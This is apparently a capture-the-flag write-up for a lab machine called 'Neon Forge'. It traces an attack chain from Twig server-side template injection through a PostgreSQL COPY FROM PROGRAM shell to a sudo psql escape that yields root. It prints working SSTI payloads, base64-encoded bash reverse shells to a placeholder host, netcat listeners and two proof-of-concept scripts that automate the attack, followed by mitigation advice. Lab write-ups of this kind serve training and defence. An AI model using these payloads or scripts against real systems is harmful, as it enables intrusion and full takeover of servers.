Neon Forge: HC Writeup
Reading time: ~10 minutes | Level: Intermediate
Target Information
- IP Address: 172.16.1.195
- Difficulty: Medium
- Tags: Web, SSTI, Database, Privilege Escalation
Reconnaissance
Initial Enumeration
The target was identified as 172.16.1.195 with a web application running on port 80.
Initial exploration revealed a contact form that accepts a name parameter.
Web Enumeration
Discovery: Server-Side Template Injection (SSTI)
While testing the contact form, I discovered a Server-Side Template Injection vulnerability in the name parameter.
Test payload:
GET /contact?name={{['id']|map('passthru')|join}} HTTP/1.1
Host: 172.16.1.195URL-encoded version:
GET /contact?name=%7b%7b%5b'id'%5d%7cmap('passthru')%7cjoin%7d%7d HTTP/1.1
Host: 172.16.1.195
Cookie: PHPSESSID=if4loelkfa6ib709017pu9f830Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)SSTI vulnerability confirmed! The application is using Twig template engine (PHP) and allows command execution through the passthru filter.
Exploitation: Remote Code Execution via SSTI
Understanding the Payload
The SSTI payload leverages Twig's filter system:
['id']- Creates an array with the command to execute|map('passthru')- Applies PHP'spassthru()function to execute the command|join- Joins the output
Reverse Shell Payload
I crafted a reverse shell payload using double base64 encoding to bypass potential filters:
Original command:
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1Base64 encoded (twice):
WW1GemFDQXRhU0ErSmlBdl******************Gpnekx6UTBORFFnTUQ0bU1Rbz0=Final payload:
{{['echo WW1GemFDQXRhU0ErSmlBdl******************Gpnekx6UTBORFFnTUQ0bU1Rbz0= | base64 -d | base64 -d | bash']|map('passthru')|join}}Complete request:
GET /contact?name=%7b%7b%5b'echo%20WW1GemFDQXRhU0ErSmlBdl******************Gpnekx6UTBORFFnTUQ0bU1Rbz0%3d%20%7c%20base64%20-d%20%7c%20base64%20-d%20%7c%20bash'%5d%7cmap('passthru')%7cjoin%7d%7d HTTP/1.1
Host: 172.16.1.195
Cookie: PHPSESSID=if4loelkfa6ib709017pu9f830Listener:
nc -lvnp 4444Result:
Connection received on 172.16.1.195 58764
bash: cannot set terminal process group (4326): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-172-16-1-195:~/html/public$ whoami
www-dataReverse shell obtained as www-data!
Post-Exploitation: Lateral Movement
Database Credentials Discovery
While enumerating the web application files, I found database credentials in a PHP configuration file:
Username: postgres
Password: o5Q%69BXIPostgreSQL Access
Using the discovered credentials, I connected to the PostgreSQL database:
www-data@ip-172-16-1-195:~/html/public$ psql -h 127.1 -U postgres
Password: o5Q%69BXIPostgreSQL access obtained!
Privilege Escalation: PostgreSQL to Root
Method 1: Command Execution via COPY FROM PROGRAM
PostgreSQL's COPY FROM PROGRAM feature allows executing system commands. I leveraged this for lateral movement to the postgres user.
Steps:
- Create a temporary table:
CREATE TABLE cmd_output (output TEXT);- Execute reverse shell via COPY:
COPY cmd_output FROM PROGRAM 'echo WW1GemFDQXRhU0ErSmlBdl******************Gpnekx6UTBORFVnTUQ0bU1Rbz0= | base64 -d | base64 -d | bash';Note: The base64 payload decodes to:
bash -i >& /dev/tcp/YOUR-IP/4445 0>&1Listener:
nc -lvnp 4445Result:
Connection received on 172.16.1.195 55200
bash: cannot set terminal process group (9677): Inappropriate ioctl for device
bash: no job control in this shell
postgres@ip-172-16-1-195:/var/lib/postgresql/16/main$ whoami
postgresLateral movement successful! Now running as postgres user.
Method 2: Sudo Privilege Escalation
After obtaining access as the postgres user, I checked for sudo privileges:
postgres@ip-172-16-1-195:~$ sudo -lOutput:
Matching Defaults entries for postgres on ip-172-16-1-195:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User postgres may run the following commands on ip-172-16-1-195:
(root) NOPASSWD: /usr/bin/psqlCritical misconfiguration found! The postgres user can run /usr/bin/psql as root without a password.
Exploiting psql for Root Shell
PostgreSQL's interactive client (psql) has a meta-command system that allows executing shell commands using \! or :!.
Exploitation steps:
- Run psql as root:
sudo /usr/bin/psql -h 127.1 -U postgres- Check available meta-commands:
postgres=# \?- Execute shell command:
postgres=# :!/bin/shResult:
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)ROOT ACCESS OBTAINED!
Attack Chain Summary
1. SSTI Discovery (Twig Template Engine)
↓
2. Remote Code Execution via passthru filter
↓
3. Reverse Shell as www-data
↓
4. Database Credentials Discovery (postgres)
↓
5. PostgreSQL Access
↓
6. Lateral Movement via COPY FROM PROGRAM
↓
7. Shell as postgres user
↓
8. Sudo Privilege Discovery (psql as root)
↓
9. psql Meta-command Abuse (\!)
↓
10. Root Shell Obtained
Vulnerabilities Summary
-
Server-Side Template Injection
CWE-1336Critical- Remote Code Execution
-
Hardcoded Database Credentials
CWE-798High- Credential disclosure
-
PostgreSQL COPY FROM PROGRAM
CWE-78High- Command execution
-
Sudo Misconfiguration
CWE-250Critical- Privilege escalation to root
-
psql Shell Escape
N/ACritical- Root access
Technical Analysis
SSTI Vulnerability Breakdown
Template Engine: Twig (PHP)
Vulnerable code pattern:
// Likely vulnerable code
$twig->render('contact.html', ['name' => $_GET['name']]);Exploitation chain:
- User input directly embedded in template
- Twig's
mapfilter allows calling PHP functions passthru()executes system commands- Output captured via
joinfilter
PostgreSQL COPY FROM PROGRAM
This feature was introduced in PostgreSQL 9.3 and allows the superuser to execute arbitrary commands:
COPY table_name FROM PROGRAM 'command';Security implications:
- Requires superuser privileges or
pg_execute_server_programrole - Executes commands as the PostgreSQL process owner (postgres user)
- Can be used for lateral movement or privilege escalation
Sudo Misconfiguration
The NOPASSWD directive for /usr/bin/psql allows the postgres user to escalate privileges because:
psqlprovides shell escape mechanisms (\!,:!)- When run as root, these escapes spawn root shells
- No password required due to
NOPASSWDdirective
Mitigation Recommendations
Application Level
- Fix SSTI Vulnerability:
- Never pass user input directly to template engines
- Use proper template context isolation
// Safe approach
$twig->render('contact.html', [
'name' => htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8')
]);- Disable dangerous filters in Twig configuration
$twig = new \Twig\Environment($loader, [
'autoescape' => 'html',
'strict_variables' => true,
]);-
Implement Input Validation:
- Whitelist allowed characters for the name field
- Reject special characters like
{,},|,[,]
-
Use Security Headers:
- Implement Content-Security-Policy
- Add X-Content-Type-Options: nosniff
Database Level
- Secure Database Credentials:
- Never hardcode credentials in source files
- Use environment variables or secret management systems
$db_pass = getenv('DB_PASSWORD');- Implement credential rotation policies
- PostgreSQL Hardening:
- Restrict
COPY FROM PROGRAMusage
- Restrict
REVOKE pg_execute_server_program FROM postgres;- Create application-specific database users with limited privileges
- Use connection pooling with restricted permissions
- Network Segmentation:
- Database should not be accessible from web server user context
- Implement proper firewall rules
- Use Unix sockets instead of TCP when possible
System Level
- Fix Sudo Misconfiguration:
- Remove or restrict the psql sudo rule
# Remove this line from /etc/sudoers
postgres ALL=(root) NOPASSWD: /usr/bin/psql- If PostgreSQL admin access is needed, create specific scripts
# /usr/local/bin/db-admin.sh with limited functionality
postgres ALL=(root) NOPASSWD: /usr/local/bin/db-admin.sh-
Implement AppArmor/SELinux:
- Restrict what the postgres user can execute
- Limit file system access
-
Principle of Least Privilege:
- Web server should run with minimal permissions
- Database user should have only required permissions
- Avoid granting sudo access to service accounts
-
Monitoring and Logging:
- Enable PostgreSQL query logging
- Monitor sudo usage
- Implement intrusion detection systems (IDS)
- Alert on suspicious template rendering patterns
Tools Used
- Burp Suite - Web vulnerability discovery and exploitation
- curl - HTTP request manipulation
- netcat - Reverse shell listener
- psql - PostgreSQL client
- base64 - Payload encoding
Proof of Concept Scripts
SSTI Exploitation Script
#!/usr/bin/env python3
import requests
import base64
import urllib.parse
target = "http://172.16.1.195"
lhost = "YOUR-IP"
lport = "4444"
cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
encoded = base64.b64encode(base64.b64encode(cmd.encode()).decode().encode()).decode()
payload = f"{{{{['echo {encoded} | base64 -d | base64 -d | bash']|map('passthru')|join}}}}"
encoded_payload = urllib.parse.quote(payload)
url = f"{target}/contact?name={encoded_payload}"
print(f"[+] Sending payload to {url}")
print(f"[+] Start listener: nc -lvnp {lport}")
requests.get(url)PostgreSQL Privilege Escalation
#!/bin/bash
LHOST="YOUR-IP"
LPORT="4445"
PAYLOAD=$(echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" | base64 | base64)
cat << EOF | psql -h 127.1 -U postgres
CREATE TABLE IF NOT EXISTS cmd_output (output TEXT);
COPY cmd_output FROM PROGRAM 'echo $PAYLOAD | base64 -d | base64 -d | bash';
DROP TABLE cmd_output;
EOFReferences
SSTI (Server-Side Template Injection)
- PortSwigger - Server-Side Template Injection
- HackTricks - SSTI (Server Side Template Injection)
- PayloadsAllTheThings - Template Injection
PostgreSQL Security
Privilege Escalation
OWASP
Author: cbxcvl Date: February 8, 2026 Machine: Captain Release Date: January 3, 2026